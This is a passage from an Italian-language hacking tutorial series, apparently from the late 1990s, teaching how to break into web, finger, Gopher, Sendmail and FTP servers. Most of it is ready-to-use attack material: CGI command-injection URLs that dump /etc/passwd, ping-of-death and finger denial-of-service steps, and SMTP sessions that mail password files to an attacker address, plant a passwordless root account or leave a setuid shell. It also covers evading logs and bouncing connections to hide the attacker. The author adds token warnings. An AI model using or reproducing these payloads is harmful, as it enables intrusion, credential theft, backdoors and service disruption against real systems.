abbiamo ricevuto il contenuto della pagina ad esso associata.
Per impedire al server di terminare l'operazione (e quindi di registrare
l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date.
Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e
a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time)
all'utente.  Ma dal momento che il server non sa rispondere ai comandi ;)
la loro esecuzione non potra` essere completata, il log non verra` scritto
e noi avremo ottenuto quello che volevamo... segretezza :)
Vi ho detto pero` che esistono DUE modi.  Ecco il secondo: esiste su Internet
un server molto simile all'Anonimizzatore di cui vi ho parlato in un volume
precedente a questo.  Si tratta di iPROXY (http://www.iproxy.com), un server
che offre gratuitamente la possibilita` di collegarsi anonimamente ai siti,
digitando l'URL desiderato (vi dice niente?).
Non e` ovviamente una tecnica, ma un servizio pensato per ben altri scopi
che per l'hacking... ma meglio uno in piu` che in meno ^_^
Tornando ai problemi di sicurezza...
Un altro bug di IIS e` il seguente: aggiungendo uno (o una coppia) di punti
alla fine di un file script, anziche` essere eseguito, il contenuto del file
verra` visualizzato sullo schermo del vostro browser.  Un altro bug simile
permette di visualizzare file "segreti" (come pagine protette da password,
documenti che non dovrebbero poter essere visualizzati in quanto "interni"
e qualsiasi altro file presente sull'hard disk del server), in questo modo:
  http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file
Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai
siti sulla sicurezza di Windows.
Passiamo ora agli altri Web server.
Restando in tema di Windows NT/95 un altro server che ha il problema degli
script in cgi-bin e` O'Reilly WebSite (versioni fino alla 1.1b).
Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh
basta utilizzare il codice escape al posto del punto (nel nome del file):
  http://www.sito.com/WebSTAR%20LOG
Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi
software.  Non cercate, pertanto, di utilizzare "time" con un server Unix o
roba del genere.
TECNICHE DI BASE: I WEB SERVER UNIX
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Il Web server standard di Unix, Linux, ecc. e` httpd della NCSA.
Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software
server (lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi).
Si tratta di un problema detto "buffer overflow", che consiste nel riempire
tutta l'area di memoria riservata dal server ai dati, e fargli eseguire un
programma (molto piccolo, e preferibilmente in assembler) scritto da noi.
Essendo una tecnica molto complessa la vedremo piu` avanti, poiche` ci sara`
piu` utile con SMTP (per avere accesso root) che con il Web, in quanto nei
nuovi server questo problema sembra essere stato corretto.
Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla
versione 1.02).
Esistono poi degli hack (un "hack" e` una tecnica di hacking) che hanno
letteralmente fatto storia.
Relativamente vecchio ma ancora molto utilizzato e` quello del PHF, usato
per hackerare le pagine Web di CIA, FBI e moltissimi altri, piu` o meno
famosi.  Prima di spiegare questa tecnica e` bene precisare una cosa: se
state leggendo questi volumi per imparare, non avrete certamente la capacita`
di rendervi "invisibili" agli occhi di un SysAdmin... quindi attenti a non
utilizzare queste tecniche.
Molti siti (come ad esempio unina.it, l'Universita` di Napoli) hanno software
in grado di riconoscere gli hack piu` conosciuti (tra cui PHF e Query).
Potrebbero far sospendere il vostro account Internet, se non denunciarvi...
Ma prima dobbiamo fare un breve corso sul sistema di password di Unix.
TECNICHE DI BASE: UNIX E LE PASSWORD
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Riflettiamo un attimo: qual'e` la parte piu` interessante di un sistema
Unix (o Linux) ?  Certamente il file delle password, nel quale si trova, in
forma criptata, anche la password di root (oltre a quelle di tutti gli altri
utenti).
Una classica entry (riga di testo contentente dati) di un file password e`
di questo tipo:
username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh
I campi sono delimitati dai due punti, e sono:
  - Nome utente (username)
  - Password criptata
  - Numero utente
  - Numero gruppo
  - GECOS (nome e cognome, oppure altre informazioni sull'utente)
  - Directory utente (dalla quale in genere non potete uscire)
  - Shell utilizzabile dall'utente (in genere limitata se non siete root)
nel caso in cui uno o piu` campi siano disabilitati, li troverete vuoti (i
due punti saranno vicini) oppure troverete uno slash (/) al loro posto.
Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica,
corrisponde allo slash (e quindi a nessuna shell).
Ma dove si trova il file delle password?
La directory standard e` /etc e il file si chiama passwd, quindi il percorso
completo sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un
meccanismo denominato "shadowing" delle password.  Per evitare di prelevare
il file contentente le password, infatti, viene creato un secondo file, il
cui nome in genere e` shadow (in molti casi si trovera` nella directory /etc)
che contiene, in forma un po` diversa da quella appena vista, tutti i campi,
comprese quindi le password (criptate), e NON e` accessibile agli utenti.
Il file passwd, invece, conterra` tutti i soliti campi, ma al posto della
password conterra` un simbolo, detto Token (che in genere e` un asterisco).
Perche` questo?  Le password sono criptate, ma e` ancora possibile risalire
ad esse, crackarle (da "crack").  Non si possono decriptare, ma si puo` usare
una lista di parole probabili (detta dizionario), criptarle una per una e
confrontare il risultato con le password criptate in passwd.  Se coincidono,
abbiamo trovato una password.
Ovviamente per fare tutto cio` si usano dei programmi appositi.  I piu` usati
(e i migliori) sono CrackerJack e HellFire Cracker.  Praticamente tutti i
siti Web contenenti materiale per hackers ne hanno una copia.
Tornando alle password, se un sistema usa lo shadowing, per risalire al vero
file delle password, in base al sistema operativo usato potremo trovarlo in
directory differenti, come mostrato in questa tabella tratta dalla HackFAQ:
Sistema Unix          Path (percorso) del file        Token
----------------------------------------------------------------
AIX 3 (caso 1)        /etc/security/passwd            !
AIX 3 (caso 2)        /tcb/auth/files/p/pippo         #
A/UX 3.0s             /tcb/files/auth/?/              *
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/p/pippo         *
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow                     *
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database        *
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *
Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare.
Un file /etc/passwd standard puo` spesso essere prelevato tranquillamente
con FTP oppure collegandosi ad un indirizzo come:
   http://www.sito.com/ftp/etc/passwd
oppure...
   ftp://ftp.sito.com/etc/passwd
tenendo pero` presente che in genere i SysAdmin leggono i log... scaricando
il loro file delle password non li farete certo felici.
Quindi, non appena riuscirete a procurarvi username e password di un account
(che non sia ne` vostro ne` di amici, se ci tenete alle amicizie...) e`
consigliabile utilizzare quello anziche` il vostro account.
Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di
ciascun rigo (o di almeno un paio di essi) contiene una password criptata,
possiamo essere quasi sicuri che non esista nessuno shadowing.
Dico *quasi* perche` alcuni grossi server stranieri hanno recentemente usato
dei file passwd fittizi.  Crackandoli e provando a collegarsi con le password
trovate, non si riesce a collegarsi... perche` sono tutte false e servono a
depistare l'hacker inesperto.  E` raro che accada, ma e` da tener presente.
Nel caso dovessimo trovare un Token al posto della password, ci affideremo
alle tecniche di cui parlavamo in principio.
Il primo hack che descriveremo e` quello del PHF.
PHF e` una piccola utility di "agenda telefonica" presente in Unix, Linux,
ecc.  Anch'essa puo` essere usata in modo sovversivo, per far eseguire dei
comandi qualsiasi a un server.
Basta collegarsi a un URL del genere:
  http://www.sito.com/cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd
oppure piu` semplicemente...
  http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd
usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd
per "prelevare" il vero file delle password.
Quello che avviene "chiamando" questi URL e` che il file PHF viene eseguito
(vengono passati parametri fittizi, come Jserver e Qalias) e poi si simula
un invio a capo (codice %0A) per inviare un nuovo comando, che nel nostro
caso e` /bin/cat /etc/passwd (%20 equivale allo spazio, ma si puo` usare
anche "+" al suo posto), ma puo` essere *qualsiasi* comando si voglia.
In quel momento, infatti, abbiamo accesso root! =)
E come tali, possiamo eseguire comandi, creare, modificare, distruggere...
NOTA: il file /bin/cat equivale al comando "type" del DOS.  Serve quindi a
visualizzare un file, e occasionalmente anche a crearne uno o ad aggiungere
righe di testo ad uno pre-esistente.  Supponiamo di voler inserire una riga
nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di
ridirezione > e >> e | (pipe), proprio come nel DOS.
Alcuni esempi:
   /bin/cat prova > test      crea un file col nome test e vi scrive "prova"
   /bin/cat prova >> test     aggiunge la parola "prova" al file "test"
Ovviamente per crackare un file shadow che, come abbiamo detto, usa un
formato differente, dovremo prima effettuare il de-shadowing (trasformare
shadow in formato passwd standard) e poi effettuare il cracking con i
normali CrackerJack e simili.
Esistono su Internet programmi appositi per tale operazione.
Una tecnica molto simile a quella del PHF e` quella del Query:
   http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd
che funziona in modo analogo a quello gia` visto del PHF.
Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poiche`
a noi interessa solo eseguire comandi, ci "limiteremo" ancora una volta a
scriverli dopo il codice %0A.
Un'ultima cosa che puo` tornarci utile e` che molti server hanno un file
chiamato test-cgi nella directory cgi-bin.  Se tale file contiene il comando:
   echo QUERY_STRING = $QUERY_STRING
potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il
seguente URL:
   http://www.sito.com/cgi-bin/test-cgi?/*
o della directory corrente usando solo "*" anziche` "/*", e cosi` via.
POSTILLA
~~~~~~~~
Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e
utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono
vulnerabili.  Spesso inoltre non registrano neppure l'IP Address dell'hacker.
Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di
hackerare questo server sara` comunicato a chi di dovere" (in inglese) state
pur certi che vi troverete nei guai.  Quindi aspettate di diventare hackers
prima di mettere in pratica... conoscere le tecniche non basta.  Se credete
di essere gia` diventati hackers conoscendole, mi dispiace deludervi... vi
potrete solo mettere nei guai e farvi etichettare per sempre come patetici
"lamer" (termine dispregiativo del gergo hacker per indicare un hacker nato
perdente).
Ancora alcune lezioni sulle tecniche di base per gli altri tipi di servizi
(FTP, SMTP, IRC, ecc.), e potremo iniziare con l'hacking.  Sara` necessario
conoscerle bene perche` non torneremo piu` su tali argomenti, a meno che non
sia necessario aggiungere qualcosa.
TECNICHE DI BASE: MISCELLANEA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nel volume precedente abbiamo visto come sfruttare alcuni problemi di
sicurezza del software server.
Dal momento che e` necessario conoscere tipo e versione del software e
sistema operativo, dobbiamo sapere come avere tali informazioni.
Ancora una volta ci torna comodo utilizzare Telnet.  Bastera` infatti
collegarsi alla porta del servizio interessato per ottenere quasi sempre
informazioni preziose.
Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci
"salutera`" indicandoci tipo e versione del software, data locale e altre
utili informazioni.
Altre ancora possiamo ottenerle tramite il programma "finger", che serve a
mostrare informazioni su un dato utente di un dato sistema.
Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster
dopo aver acquistato un "potente" software server, scrivono orgogliosi sulle
loro pagine "questo sito utilizza il software xxxxx versione yyyyy"...
Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3)
di httpd (per Unix e Linux) possono essere crashati richiedento un URL con
un formato sbagliato.  Esistono in giro diversi exploit sull'argomento, e
pertanto vi rimando alle mailing list sulla sicurezza su Internet.
NOTA: da ora in poi quando parlero` di Unix mi riferiro` anche a Linux, AIX,
Solaris, ecc. a meno che sia diversamente specificato.
Prima di procedere vorrei farvi notare che non e` necessario scrivere in
tempo reale i vostri comandi in Telnet (anche perche` correte il rischio di
sbagliare e non poter cancellare).  Moltissimi client hanno le funzioni Copy
e Paste (Copia e Incolla), che potete usare unitamente a un programma di
videoscrittura (come il Block Notes di Windows) per velocizzare le operazioni
(e ridurre il numero di cifre sulla vostra bolletta telefonica).
Vi bastera` infatti scrivere tutti i comandi nel block notes, usare Copy e
poi, una volta in Telnet, usare Paste.  Un consiglio: non usate testi troppo
lunghi, perche` alcuni server potrebbero non essere abbastanza veloci per
riceverli.
Altri programmi vulnerabili a un attacco tramite Telnet sono Finger, Ping,
Gopher, Pine e altri; in pratica, per quasi tutti quelli esistenti esiste
un hack su misura.
Ovviamente per capire di cosa sto parlando vi serviranno i programmi in
questione.  Iniziamo da finger.
Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system,
demo, guest, ecc.) nell'effettuare una richiesta tramite finger e` possibile
ottenere (specie con i vecchi server) svariate informazioni.
Ma supponiamo ora di voler crashare il server finger.  Per quale motivo?
Siamo tutti hackers.malicious o crackers? ;)  No, il motivo e` un altro:
se il server finger (per Unix) dovesse crashare, noi avremmo accesso root.
Perche`?  Se il server crasha, non avremo piu` un "interprete" dall'altra
parte che "filtra" i nostri comandi e ci da informazioni quando scriviamo
finger... ma avremo una specie di connessione diretta alla shell dei comandi
con il livello d'accesso massimo (root, per l'appunto).
Ecco come si fa: (non sbavate, siamo ancora al principio ;)
utilizzando Telnet, il cui scopo e` fornire una connessione e lasciarla nelle
nostre mani, ci colleghiamo alla porta 79 (finger) del server desiderato
(assicuriamoci pero` prima che il sistema operativo sia effettivamente Unix e
che abbia il server finger attivato).
Ora, quello che fa un normale client finger e` semplicemente inviare il
comando "finger nomeutente" e visualizzare le informazioni ricevute.
Nient'altro.  E` uno spreco... tanto potere buttato al vento =)
E pensare che finger ha anche accesso a tutte le directory degli utenti, e
a saperlo controllare si potrebbero anche "ritoccare" i vari files...
Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il
Nucleo Operativo di Polizia Telematica ;) possiamo fare di meglio.
Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e
paralizzerete il server (Ctrl-S e` un codice di controllo detto "freeze",
cioe` "congela").  A questo punto la connessione e` in mano vostra.
Il client finger puo` essere usato per un attacco di tipo D.O.S. (Denial Of
Service, cioe` negare l'accesso a un servizio disattivandolo).
Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta"
ogni connessione) dopo un po` il server rifiutera` a chiunque altro di
collegarsi, e l'intero server del sito verra` rallentato; in alcuni casi
potrebbe addirittura crashare.
Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso
programma... una soluzione migliore consiste nel programmare da se` una
utility che effettui molte connessioni alla stessa porta dello stesso server.
Se il vostro client lo consente, potete nascondere il vostro IP Address
effettuando un "bounce" (rimbalzo).  In pratica si tratta di richiedere a
un server di fare la stessa richiesta a un altro server, per far risultare
come "richiedente" il suo IP Address anziche` il nostro.
Il comando e` nel formato: finger @sito.com@altrosito.com
Non preoccupatevi se non avete capito tutto: vi torneranno utili quando
dovrete studiare un attacco e conoscerete meglio l'Arte.
Nota su finger: alcuni siti (mi sembra di ricordare quello della Microsoft)
disabilitano finger per evitare problemi... in alcuni casi pero` si limitano
a disabilitarlo, NON a cancellarlo dalla directory del server.
Potrete quindi accedervi usando questo URL:
  http://www.sito.com/cgi-bin/finger
e per passare i parametri aggiungete "?" e i vostri comandi con il metodo
della codifica degli URL descritta nei volumi precedenti.
Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come
Windows NT e 95) in quanto essa e` basata sulla struttura di Unix.  Comunque
potrebbe essere interessante provare; da cosa nasce cosa...
Passiamo ora a Ping.
Combinato a Finger, Ping e` eccellente per effettuare un attacco D.O.S. in
quanto e` utilizzato praticamente ovunque, e non correte il rischio di non
poterlo utilizzare come accade in alcuni casi con Finger.
Per chi non lo conosce, diciamo che Ping e` un programma per controllare la
presenza di un sito su Internet e valutare la sua velocita` di collegamento.
Il funzionamento e` molto simile: aprire molte connessioni a un server, fino
a che questo collassera` per il troppo lavoro richiesto alla CPU.
Se avete la possibilita` di scegliere tra Ping e Ping-f vi consiglio di
scegliere quest'ultimo, in quanto e` estremamente piu` veloce.
Linux e` inoltre vulnerabile a un particolare attacco: da un computer che usi
Windows 95 o NT si puo` usare questo comando:
   ping -l 65510 sito.com
dove sito.com e` un sito che usa Linux (versioni fino alla 2.0.20 esclusa).
La macchina si blocchera` e si riavviera` automaticamente.
Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510.
Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su
un server gopher pubblico, contenente queste linee di testo:
Type=8
Name=Sceglimi
Host=;/bin/sh
Port=
Path=
potete collegarvi a Gopher, entrare nella directory dove avete piazzato il
file .links e scegliere la voce "Sceglimi".  Il comando messo dopo "Host=;"
verra` eseguito (nel nostro caso, una shell com accesso root).
Dal prossimo volume inizieremo con tecniche raffinate che vi consentiranno
di fare cose impensabili.  Siate certi di aver prima imparato quelle sin qui
descritte, o non potrete apprendere quelle piu` complesse.
     
TECNICHE AVANZATE: SENDMAIL
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche
fondamentali e gli exploit.  Dal prossimo inizieremo con l'hacking vero e
proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin)
quello che faremo di volta in volta.  Ovviamente mi aspettero` che ora che
avete abbastanza informazioni di base abbiate chiari concetti come server e
client, FakeMail, come fare piccole cose come trovare la versione di un
server, ecc.  Se qualcosa non dovesse essere chiaro, non esitate a scrivermi
e ad esporre il problema.  Cerchero` di rispondervi non appena avro` trovato
abbatanza tempo.  NON chiedetemi qual'e` la password di un sito xxx o dove
trovare la versione pirata di un gioco.  Siamo hackers, non pirati.
Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia".
Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato
quando volevo imparare l'hacking... e poi credo che sia molto piu` completa
di quei piccoli files sulle basi dell'hacking scritti da hackers, per
hackers.  Ma quale sarebbe lo scopo?  Se uno e` gia` hacker, non ha bisogno
di imparare le basi di quello che conosce gia`... okay, parentesi chiusa.
Quello che partira` dal prossimo volume sara` pertanto un vero e proprio
corso di hacking a puntate (con tanto di supporto via email), dedicato a
tutti coloro che mi hanno scritto e hanno creduto in questo progetto di
divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).
Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione
del servizio di posta elettronica di Unix.
Il programma server che risponde a chi si collega alla porta SMTP (25) e`
chiamato Sendmail.  Come abbiamo visto in un precedente volume, all'atto del
collegamento via Telnet avremo una risposta di questo genere:
220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT
(il numero di versione di un server lo troviamo anche sbirciando tra gli
headers delle emails che riceviamo quotidianamente).
I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la
versione del server SMTP.  Mettiamo una volta per tutte in chiaro che SMTP e`
il nome del servizio (della porta 25) e Sendmail e` il nome del programma che
si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix.
Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail?
Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente.
Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche
quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per
guadagnare illecitamente accesso a un sistema.
E il bello e` il modo in cui lo si fa; non tramite una password o chissa`
cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta
elettronica!
Vogliamo vedere cosa si puo` fare con Sendmail? :)
Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7).
Vogliamo una shell root?  Niente di piu` facile: bastera` chiamare il
programma Sendmail con il parametro -d seguito da un numero molto grande,
come nel seguente esempio:
   Sendmail -d3344556677
Se non avete un accesso diretto al server (e quindi state "lavorando" da
remoto) avrete bisogno di una shell per "chiamare" Sendmail.
Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta
potete sempre prendere un file passwd o shadow e crackarlo per avere accesso
shell.  L'ideale sarebbe un account di quale Universita`...
Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per
eseguire il comando senza bisogno di shell interattiva.
Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia,
prima di mettere in pratica... ancora non sapete come nascondervi in un
sistema, quindi non abbiate fretta.  Se proprio volete testare qualcosa,
procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e
provate.
Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma
anche qui si puo` avere una shell root, utilizzando un exploit che si trova
sui siti per hackers.  Si tratta di un programmino in C (creato da Atreus).
Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit
non funziona.
NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto
spesso anche risolti proprio dagli hackers.  Se non ci fossero gli hackers
saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per
avere tutto un computer ai propri comandi.  Un motivo in piu` per smettere di
prendersela con noi se si assume personale incapace di gestire seriamente un
sistema informatico, sia esso in rete o meno.
Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli
bug tutti diversi e` consigliabile cercare quello che interessa sul sito
di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne da` un hack
completo per ciascuno, o su L0pht (http://www.l0pht.com).
Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di
gruppo (GID, cioe` Group IDentifier) a ciascun utente.
Un UID pari a 0 e` (quasi sempre) un utente root.
Se ad esempio nel file passwd di un sito troviamo...
   root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh
il primo numero (0) e` UID e il secondo (0) e` GID.
E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e
diventare root :)  Supponiamo infatti di aver crackato la password di un
utente qualsiasi, ma di non riuscire ad accedere a root... come fare?
Utilizzando questo hack sul Sendmail.  Bisognera` innanzitutto avere accesso
a una shell; molti utenti hanno una shell, anche se limitata, ma servira`
allo scopo.  Se proprio non riuscite a procurarvene una, collegatevi a una
delle tantissime BBS via Telnet presenti su Internet.  Esse sono quasi sempre
ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti.
Non sono shell root... ma sapremo accontentarci, dal momento che da una
shell ad accesso limitato si puo` arrivare a root.
Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno
intere liste di BBS Telnet.  Dovete solo scegliere quella che preferite.
Dicevamo, come forzare UID a 0 ora che abbiamo una shell?
Digitando quanto segue:
% cat ~/.forward                                     <-- noi
                                                     <-- noi
miosito.com miousername                              <-- noi
^D                                                   <-- noi (premere Ctrl-D)
% smail -bs -D ~root/.rhosts -v20                    <-- noi
220 provider.com Sendmail x.x.x.x ready ecc...       <-- server
expn root                                            <-- noi
250 <root>                                           <-- server
quit                                                 <-- noi
% rsh -l root lamesite.com tcsh\ -i                  <-- noi
WARNING: no access to TTY (bad file number)          <-- server
# id                                                 <-- noi
UID=0 GID=0                                          <-- server
Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il
nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo
avete capito =)
I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi;
basti pensare alla versione 5.64 che permette di sfruttare il programma
"decode" (uudecode) di Unix per "eliminare" l'accesso tramite password.
In pratica, inviando una FakeMail (con Telnet) di questo tipo:
HELO hacker.com
MAIL FROM: bin
RCPT TO: decode
DATA
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
.
QUIT
sara` poi possibile utilizzare un client rlogin per collegarsi senza bisogno
di password.  Ma come e` stato possibile?  Quello che e` successo e` questo:
il file .rhosts di Unix contiene una lista di hostname e username ai quali
e` consentito l'accesso.  Mettendo un + al posto di hostname e username si
consente l'accesso a chiunque, ed e` esattamente questo cio` che abbiamo
fatto: la linea dopo "begin 644..." non e` altro che tale comando (+ +)
codificato con il programma encode (uuencode).  Inviando questa FakeMail a
decode (uudecode) quel codice verra` ritrasformato in "+ +" e scritto nel
file /usr/bin/.rhosts (vedi sopra).
Bastera` dunque procurarsi un client rlogin per accedere tranquillamente al
server...
La versione 5.65 di Sendmail (la successiva a quella appena vista, creata
per risolvere quel problema) e` ancora piu` pericolosa... ;)
Infatti basta inviare via Telnet i seguenti comandi:
HELO hackers.com
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
RCPT TO: prova
DATA
From: pirata@hackers.com
Return-Receipt-To: |nessuno
#!/bin/sh
COMANDI
.
QUIT
Al posto di "COMANDI" vanno inseriti uno o piu` comandi shell (su righe
separate), come ad esempio:
   /bin/mail pirata@hackers.com < /etc/passwd
per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure:
   echo prova::0:0::/:/bin/sh >> /etc/passwd
per aggiungere l'account "prova" (con accesso root, senza password, con shell
root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >>
anziche` uno solo).  O ancora:
   chmod 777 /etc/passwd
per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o:
   cp /bin/sh /tmp/pirata
   chmod 6777 /tmp/pirata
dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp
col nome di "pirata" (vi consiglio di cambiare questo nome :)
Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un
utente qualunque.  Tale file non e` altro, come abbiamo visto, che la shell.
Quindi bastera` andare in /tmp ogniqualvolta vi servira` una shell root, e
digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando.
Un altro hack famoso e` quello dell'attacco del pipe, funzionante su versione
5.56 (e altre).  Funziona cosi`: si prepara una semplice FakeMail del tipo...
HELO hacker.com
MAIL FROM:<"|/bin/mail pirata@hackers.com < /etc/passwd">
RCPT TO:<"pirata@hotmail.com">
DATA
questa e` una prova...
.
QUIT
e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail.
Naturalmente si potra` usare qualsiasi comando dopo il pipe (il "|").
TECNICHE AVANZATE: FTP BOUNCE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Passiamo ora a qualcosa di veramente interessante: FTP.  Vi chiederete: ma
FTP non serve solo a trasferire i file?
La risposta e` no.  Beh, dovrebbe essere si... ma sapete com'e`... un hacker
e` un po` come un bambino curioso che si diverte di piu` a "smontare" un
giocattolo che a usarlo per quello a cui servirebbe =)
Innanzitutto sappiate che FTP altro non e` che una sessione di Telnet con
qualche piccolo extra in piu` (il trasferimento di file).
Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi
anche FTP e` gestibile (in parte) tramite Telnet.
La tecnica che ci accingiamo a studiare e` detta "FTP Bounce" (rimbalzo
dell'FTP).
Vi servira` innanzitutto un server FTP che vi permetta di inviare e prelevare
files da una directory qualsiasi.  Potete tranquillamente trovare tali server
cercando la parola "warez" (software commerciale piratato) con un motore di
ricerca di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch),
oppure "Filez" (http://www.filez.com); prendete nota anche della directory
che verra` visualizzata accanto al nome del server che la contiene.
Ora provate a collegarvi a uno di quei server, ed a entrare nella directory
"warez" (o un'altra in cui si possano leggere e scrivere i files).  Provate
a inviare un file di prova e a prelevarlo di nuovo, per controllare se e`
questo il server "giusto".  Se tutto funziona, lo avete trovato, altrimenti
usatene un altro (ce ne sono moltissimi).
Questo server sara` la vostra "base".  In tutti gli attacchi che effettuerete
verra` visualizzato l'IP Address di questo server, anziche` il vostro.
Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a
qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di
utilizzo a seconda delle necessita`.
Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i
comandi che vogliamo far eseguire (in base a cio` che vogliamo fare).
Non preoccupatevi ora del suo contenuto.  Per ora ci interessa solo studiare
il funzionamento della tecnica, e poi procedere con gli esempi.
Ora ci servira` un normale programma client FTP (come Cute-FTP e WS-FTP se
usate Windows, oppure il comando FTP di Linux).  Lo useremo per inviare il
file di cui sopra nel server "base" che abbiamo scelto prima.
Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet.
La porta di FTP e` la numero 21.  Colleghiamoci dunque al server "base" alla
porta 21 e aspettiamo una risposta.  Ora potremo inserire i comandi:
   USER anonymous
   PASS nessuno@niente.com
e, se l'accesso anonimo e` abilitato (come succede nel 90% dei casi), il
server rispondera` qualcosa come "User anonymous logged in".  Siamo dentro.
Dobbiamo ora conoscere l'IP Address del server da attaccare.  Percio` avremo
bisogno di un programma DNS per risalire dall'host name all'IP Address.
Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x e`
l'IP Address del server da attaccare e y e` la porta del servizio da
attaccare (21 per FTP, 80 per il Web, e cosi` via).
Notate che l'IP Address in questo caso non usa punti per separare i numeri
ma delle virgole.
Quello che succede inserendo il comando PORT e` questo: diciamo al server
FTP di collegarsi all'IP Address e alla porta che gli diamo come parametri.
In pratica, sara` il server FTP a collegarsi, anziche` noi... abbiamo cosi`
il server come "complice", in quanto sara` lui a fare tutte le operazioni e
le eventuali tracce lasciate saranno le sue! :)  Noi siamo nell'ombra...
(vi renderete conto che questo e` un ottimo mezzo per nascondere in un modo
impensabile le proprie tracce, qualsiasi cosa vi serva fare).
Bastera` ora digitare RETR nomedelfileinviato e tutti i comandi desiderati
saranno inviati dalla "base" alla "vittima".
Ma ora basta teoria, passiamo a qualche esempio esplicativo.
